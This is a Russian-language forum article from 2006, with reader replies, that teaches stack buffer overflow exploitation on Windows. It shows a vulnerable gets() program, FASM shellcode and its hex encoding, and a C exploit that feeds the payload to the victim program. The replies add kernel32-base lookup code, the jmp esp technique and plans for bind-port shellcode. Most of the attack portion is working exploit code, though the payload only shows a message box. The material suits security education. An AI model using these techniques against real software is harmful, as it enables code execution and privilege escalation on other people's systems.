Article: Переполнение - что это такое? Author: Great Date: 07.11.2006 Note: В статье предполагается знание читателем языков программирования C, Assembler Статья является ознакомительным вводным материалом для знакомства читателя с темой информационной безопасности. Автор не несет никакой ответственности за прямой или косвенный ущерб, каким-либо образом нанесенный использованием или не использованием данного материала. Вся ответственность за незаконное использование материалов этой статьи ложится только на вас. I. Переполнение буфера. Что такое? Рассмотрим небольшой, но очень эффектный пример. Code: void get_user_name() { char username[10]; printf("Enter your name: "); gets(username); printf("Hello, %s!\n", username); } main() { get_user_name(); return 0; } С первого взгляда, ничего страшного нету. Программа считывает имя пользователя и здоровается с ним. Однако, посмотрим. Под имя пользователя отводится 10 символов. Место для этой локальной переменной выделяется в стеке, и с ним соседствует запись о кадре стека (сохраненное значение EBP) и адрес возврата в main() из функции get_user_name(). А что, если мы введем не 10 символов, а, скажем, 100? gets() ничего не известно про размер буфера, поэтому она послушно запишет эти 100 символов по адресу буфера. Первые 10 символов аккурат лягут в буфер, а остальное?... Правильно, затрет значения EBP и адреса возврата. При подходе к концу функции и выполнению RET для выхода процессор считает из стека адрес возврата, уже перезаписанный нами... и управление уйдет совсем не туда, как это предполагал программист. II. Что полезного оно нам дает? Разберемся теперь, что же полезного нам дает переполнение локального буфера. Мы можем перезаписать адрес возврата и устремить процессор на наш (возможно, злобный ) код. Удаленно это позволит выполнять произвольный код на целевой системе, локально, если программа запущена под root'ом, это позволит нам получить привилегии администратора системы. Весьма перспективно, не правда ли? III. Практика Перейдем же, наконец, к практике. Для начала, нам нужно определить, какие именно байты (по порядку от начала строки) затирают адрес возврата. Делается это элементарно таким образом - вводится строка вида AAAAAAAAAA0123456789. Очевидно, что адрес затрут какие-то 4 байта от 0 до 9 с этой строке. Выясним же, какие. Операционная система заботливо сообщает нам, что не может обратиться по адресу 0x39383736. Совершенно несложно проверить, что это коды символов '9', '8', '7' и '6', то есть эти байты затерли адрес возврата. Прекрасно. Теперь нам нужно узнать месторасположение в памяти наших данных. Программа всегда загружается в свое виртуальное адресное пространство по одному и тому же виртуальному адресу, и стек выделяется тоже по фиксированному виртуальному адресу в адресном пространстве нашей программы. Это значит, что адрес строки в памяти с каждым запуском нашей программы меняться не будет. А ведь это здорово, мы можем записать адрес возврата, например, адресом следующих после 6789 байт, где и разместим наш код. Итак, нам нужно узнать адрес данных. Что может быть проще? Загружаем программу в отладчик, вводим строку программе AAAAAAAAAA0123456789zzcv, ждем исключения, открываем дамп стека в отладчике и ищем строку "zzcv" в стеке - начиная с этого адреса мы расположим в дальнейшем наш код. Voil`a! Смотрим в отладчик: Смотрим, что строка 'zzcv' найдена по адресу 0x0013ff34. Это не первое вхождение строки в стеке, но отладчик снизу показывает еще содержимое стека с адресами, где тоже виден адрес 0x0013ff34. Так что можно утверждать, что наш код разместится именно там. Попробуем написать вызов MessageBox'а. Нам потребуется компилятор FASMW для того, чтобы собрать код эксплоита. Чуток забегу вперед и скажу, что наш код будет таким: Code: org 0x0013ff34; base address use32; 32-bit code ; ; Exploit code ; ; Load library 'user32.dll' push user32 call [LoadLibrary] ; Get 'MessageBoxA' address push messagebox push eax call [GetProcAddress] ; Invoke MessageBoxA push dword 0 push dword 0 push message push dword 0 call eax ; Exit call [ExitProcess] user32 db "USER32.DLL",0 messagebox db "MessageBoxA",0 caption db "Exploit",0 message db "Proof-of-Concept exploit code",0 ; ; API's ; KERNEL32_BASE equ 0x7c800000 ExitProcess dd KERNEL32_BASE+0x0001CDDA GetProcAddress dd KERNEL32_BASE+0x0000ADA0 LoadLibrary dd KERNEL32_BASE+0x00001D77 Думаю, знающим язык ассемблера разобраться в столь банальном коде не составит труда, но я все же дам некоторые комментарии по этому поводу. С помощью ORG мы задаем место в памяти, с которого будет располагаться наш код во время выполнения. В конце мы располагаем константу KERNEL32_BASE, которая равна базовому адресу загрузки библиотеки kernel32.dll, подгружаемой к каждому процессу, в памяти. Потом расположены адреса некоторых функций в ней, нам потребуются LoadLibraryA и GetProcAddress для вызова MessageBox из user32.dll и ExitProcess для завершения программы. Скажу сразу, этот код не портабелен. Под другой версией ОС Windows, даже в другом сервиспаке или build'е адреса функций неизбежно будут другими. Но это лишь демонстрация, в боевых условиях адрес ядра берется из сегмента FS, а поиск функций производится напрямую в коде ядра. Под *nix-like системами вообще ничего такого производить не нужно, все системные вызовы реализуются одним прерыванием, адрес обработчика которого задается операционной системой в таблице IDT, следовательно, нам вообще не нужно знать месторасположение ядра в памяти. Код PoC эксплоита под linux, выводящего сообщение на консоль,будет гораздо проще. Ну, это лирика. Двинемся дальше. Что же происходит в нашем коде? Подгружается к текущему процессу user32.dll, если она еще не подгружена и в ней ищется функция MessageBoxA для вывода диалогового окошка с сообщением о том, что эксплоит сработал. Итак, пробуем FASMW: Ctrl-F9, скомпилировалось. Берем утилиту мою bin2c, которая переводит бинарник в вид, понятный компилятору си (вида \x00\x01\x02\0x03): \x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15 \xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13 \x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52 \x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78 \x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f \x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74 \x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c Пишем код эксплоита на Си: Code: #include <windows.h> #include <stdio.h> #define VICTIM "H:\\Progs\\superproga\\Debug\\superproga.exe" char shellcode[] = "AAAAAAAAAA012345\x34\xff\x13\x00" // Shellcode "\x68\x67\xff\x13\x00\xff\x15\xac\xff\x13\x00\x68\x72\xff\x13\x00\x50\xff\x15" "\xa8\xff\x13\x00\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00\x68\x86\xff\x13" "\x00\x68\x00\x00\x00\x00\xff\xd0\xff\x15\xa4\xff\x13\x00\x55\x53\x45\x52" "\x33\x32\x2e\x44\x4c\x4c\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78" "\x41\x00\x45\x78\x70\x6c\x6f\x69\x74\x00\x50\x72\x6f\x6f\x66\x2d\x6f" "\x66\x2d\x43\x6f\x6e\x63\x65\x70\x74\x20\x65\x78\x70\x6c\x6f\x69\x74" "\x20\x63\x6f\x64\x65\x00\xda\xcd\x81\x7c\xa0\xad\x80\x7c\x77\x1d\x80\x7c"; int len = sizeof(shellcode)-1; main() { FILE* fp; int i=0; printf("[~] Creating pipe to victim '" VICTIM "' "); fp = _popen(VICTIM, "w"); if(!fp) return printf("[FAILED]\n[-] Cannot create pipe\n"); printf("[ OK ]\n[~] Attempting to send destructive code "); for(;i<len;i++) { fputc(shellcode[i], fp); } printf("[ OK ]\n\n"); _pclose(fp); return 0; } Как видно, ничего сложного. Открываем пайп с уязвимой программой и посылаем туда код эксплоита. Результат - затирается адрес возврата, после RET управление переходит к нашему коду, который выводит MessageBox и завершает процесс. Если бы эта была программа под *nix с suid-битом и правами root, можно было бы с тем же успехом вызвать командный интерпретатор root'а и выполнять команды от его имени. Итак, что же мы имеем. Если у нас есть программа, которая не контролирует выход за пределы локального буфера, мы можем перезаписать часть стека и исполнить код в контексте этой программы. Позволю себе закончить на этой радостной ноте, удачного компилирования К статье прилагаются - два скриншота (overflow1.png, overflow2.png), утилита bin2c с исходными текстами для кодирования бинарного файла в вид Си-строки. http://gr8.cih.ms/data/bin2c.rar * * * Статья для новичков в этой сфере (но навыки кодинга предполагаются, иначе ничего объяснить просто невозможно), чтобы они лучше понимали суть происходящего. Ногами сильно не пинать
Не забудьте выключить защиту стека "/GS-", если используете Visual Studio .NET, по умолчанию включено. Поищите там в Properties проекта. Вообще клёво! З.Ы. А почему \x00 не воспринимается как конец строки и gets() продолжает считывать?
Функция поиска базы KERNEL32.DLL в сегменте FS: Code: qGetKernel32Handle proc near xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_169067 push esi mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov eax, [eax+8] pop esi retn loc_169067: mov eax, [eax+34h] add eax, 7Ch mov eax, [eax+3Ch] retn qGetKernel32Handle endp Added: Проверил, работает
Code: _TCHAR * __cdecl _getts ( _TCHAR *string ) { int ch; _TCHAR *pointer = string; _TCHAR *retval = string; _ASSERTE(string != NULL); #ifdef _MT _lock_str2(0, stdin); __try { #endif /* _MT */ #ifdef _UNICODE while ((ch = _getwchar_lk()) != L'\n') #else /* _UNICODE */ while ((ch = _getchar_lk()) != '\n') #endif /* _UNICODE */ { if (ch == _TEOF) { if (pointer == string) { retval = NULL; goto done; } break; } *pointer++ = (_TCHAR)ch; } *pointer = _T('\0'); /* Common return */ done: #ifdef _MT ; } __finally { _unlock_str2(0, stdin); } #endif /* _MT */ return(retval); } кто-нить видит проверку на '\0' ?
Вот функция для поиска апишки по имени http://cribble.by.ru/data/getprocaddressex.asm Только, неоптимизированная. Она была написана на си, выдрана с помощью IDA Pro и частично переписана для Fasm. В сети можно найти много аналогов, но мне пока еще не удалось заставить их работать )
Довольно грамотно и четко, порадовало что активно используется flat assembler но довольно неэстетичный способ - жестко прописывать конкретный адрес буфера в _стеке_ не проще ли просто найти \xFF\xE4 (jmp esp) в ntdll и поставить его адрес для eip ? кто бы что не говорил, jmp esp легче найти где-нибудь так чтоб он был почти везде одинаков. темболее если специфическое приложение использует какую-нибудь свою dll Рискую показать глупость, но зачем задавать базу если этот код все равно просто пойдет в бинарном виде в стек... ну и веселая очепятка ещё, думаю, прикольно было бы написать про создание win32-шеллкода для bindport'а... именно шеллкода PS http://cribble.by.ru/data/getprocaddressex.asm )))) я тоже так делаю, просто не показываю
машинный код некоторых инструкций сильно зависит от их положения в памяти (есть неперемещаемые инструкции - некоторые виды CALL и JMP). Можешь попробовать убрать ORG или сделать его другим и запустить код. Стопудов будет Access Violation (вызов CALL [LoadLibrary] слетит, потому что рассчитывается смещение адреса входа в lodlibrary относительно текущией инструкции при компиляции. Изменишь ORG - CALL уведет уже вникуда) выдираешь ИДОЙ код? осталось уже всего ничего Поиск базы кернела и апишек я написал, осталось создать сокет, ждать конекта, заполнить STARTUP_INFORMATOIN и сделать CreateProcess хм... ну тогда придется прописать конкретный адрес JMP ESP из ntdll, который наверняка будет варьироваться от билда к билду. хотя можно найти ее в таком месте, где она всегда будет лежать)
всё я врулил для чего тебе org, посмотрев на скриншот ollydbg строка в уязвимой программе находится по этому адресу ясное дело что не только код инструкции влияет на резльтат но и ее адрес но можно сделать так тоже самое для GetProcAddress и ExitProcess в EXE то достатоно менять call'ы параметрами поменять на call'ы чего-нибудь содержащего этот параметр, например регистра помоему за тем шелл код и делается чтоб мог выполняться в любом месте...
Конечно, так можно Но я старался сделать нагляднее, а не эффективнее, поэтому получилось немного криво